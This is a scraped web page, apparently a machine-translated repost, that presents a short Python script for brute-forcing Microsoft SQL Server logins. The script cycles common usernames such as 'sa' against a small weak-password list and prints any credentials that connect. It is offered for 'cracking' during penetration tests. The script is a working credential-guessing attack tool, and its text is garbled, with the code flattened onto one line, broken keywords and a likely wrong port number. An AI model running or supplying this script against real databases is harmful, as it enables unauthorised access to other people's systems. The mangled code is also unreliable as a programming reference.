Python Mssql cracking script and pythonmssql cracking

Source: Internet
Author: User

Python Mssql cracking script and pythonmssql cracking

Mssql Python version of the small script, the need to install MSSQL-python.exe can be seen that the amount of code is very small, usage: Save the code for MssqlDatabaseBlasting. py, cmd switch to MssqlDatabaseBlasting. and execute MssqlDatabaseBlasting. py to start cracking

Import pymssqlcommon_weak_password = ('', '000000', 'test', 'root', 'admin', 'user') # password dictionary mssql_username = ('sa ', 'test', 'admin', 'mssql') # account dictionary success = Falsehost = "127.0.0.1" # Database IP address port = 1443for username in mssql_username: for password in common_weak_password: try: db = pymssql. connect (server = host, port = port, user = username, password = password) success = True if success: print username, password failed t Exception, e: pass

Note: Many network security enthusiasts can remotely manage databases during penetration tests, but cannot crack their account and passwords. Therefore, this article will push several scripts for penetration.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.